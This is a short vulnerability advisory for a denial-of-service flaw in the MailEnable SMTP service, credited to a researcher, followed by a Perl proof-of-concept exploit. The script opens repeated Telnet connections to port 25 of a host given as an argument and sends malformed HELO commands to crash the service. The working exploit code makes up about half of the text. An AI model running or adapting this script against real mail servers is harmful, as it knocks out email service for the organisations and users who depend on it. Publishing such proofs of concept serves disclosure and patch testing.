Mailenable SMTP Service DoS PoC

Summary
"MailEnable's mail server software provides a powerful, scalable hosted messaging platform for Microsoft Windows."

Improper handling of user input allows attackers to DoS MailEnable.
 
Credit:
The information has been provided by db0.
The original article can be found at: http://www.divisionbyzero.be/?p=174£ 
 
 Details
Exploit:
#!/usr/bin/perl -w
#
# Mailenable SMTP DoS exploit
# 24/06/2006
#
# Filbert at divisionbyzero dot be
#

use Net::Telnet;

$string = "\0x99";

for ($count = 1; $count <= 10; $count++)
{
$telnet = new Net::Telnet ( Timeout=>60, Errmode=>'return',Port=>'25');
$telnet->open($ARGV[0]);use Net::Telnet;
$telnet->print("helo ", $string, "\n");
}

#EoF£